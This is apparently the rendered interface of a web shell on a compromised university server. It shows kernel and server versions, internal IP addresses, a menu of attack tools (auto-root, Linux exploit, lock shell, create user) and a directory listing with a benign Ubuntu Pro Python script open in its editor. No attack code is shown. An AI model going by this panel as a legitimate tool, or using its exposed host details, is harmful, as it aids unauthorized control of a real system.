Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
ubuntu-advantage /
[ HOME SHELL ]
Name
Size
Permission
Action
add_esm_snapshot_auth.py
1.88
KB
-rw-r--r--
apt-esm-json-hook
50.32
KB
-rwxr-xr-x
apt_news.py
565
B
-rw-r--r--
auto_attach.py
3.68
KB
-rw-r--r--
cloud-id-shim.sh
500
B
-rwxr-xr-x
convert_list_to_deb822.py
2.37
KB
-rw-r--r--
daemon.py
2.49
KB
-rw-r--r--
esm_cache.py
491
B
-rwxr-xr-x
migrate_user_config.py
5.37
KB
-rw-r--r--
patch_status_json.py
2.47
KB
-rwxr-xr-x
postinst-migrations.sh
3.53
KB
-rwxr-xr-x
reboot_cmds.py
4.9
KB
-rw-r--r--
timer.py
5.98
KB
-rw-r--r--
upgrade_lts_contract.py
621
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add_esm_snapshot_auth.py
import logging from uaclient import config, defaults, log from uaclient.api.u.pro.status.is_attached.v1 import _is_attached from uaclient.entitlements.entitlement_status import ApplicationStatus from uaclient.entitlements.esm import ESMAppsEntitlement, ESMInfraEntitlement LOG = logging.getLogger("ubuntupro.lib.add_esm_snapshot_auth") ESM_APPS_SNAPSHOT_URLS = [ "snapshot.apps-security.esm.ubuntu.com/apps/ubuntu/", "snapshot.apps-updates.esm.ubuntu.com/apps/ubuntu/", ] ESM_INFRA_SNAPSHOT_URLS = [ "snapshot.infra-security.esm.ubuntu.com/infra/ubuntu/", "snapshot.infra-updates.esm.ubuntu.com/infra/ubuntu/", ] def add_esm_snapshot_auth(cfg): if not _is_attached(cfg).is_attached: LOG.info("Not attached. Not adding ESM snapshot URLs to APT auth.") return for esm, urls in [ (ESMAppsEntitlement(cfg), ESM_APPS_SNAPSHOT_URLS), (ESMInfraEntitlement(cfg), ESM_INFRA_SNAPSHOT_URLS), ]: if ( esm.application_status()[0] != ApplicationStatus.DISABLED and esm.apt_url is not None and "https://esm.ubuntu.com/" in esm.apt_url ): LOG.info( ( "%s is enabled and using default apt url," " adding snapshot auth" ), esm.name, ) esm.update_apt_auth(override_snapshot_urls=urls) else: LOG.info( "%s is disabled or not using default apt url, skipping", esm.name, extra=log.extra(apt_url=esm.apt_url), ) if __name__ == "__main__": try: log.setup_cli_logging( logging.DEBUG, defaults.CONFIG_DEFAULTS["log_level"] ) cfg = config.UAConfig() log.setup_cli_logging(cfg.log_level, cfg.log_file) add_esm_snapshot_auth(cfg) except Exception as e: print(e)
Close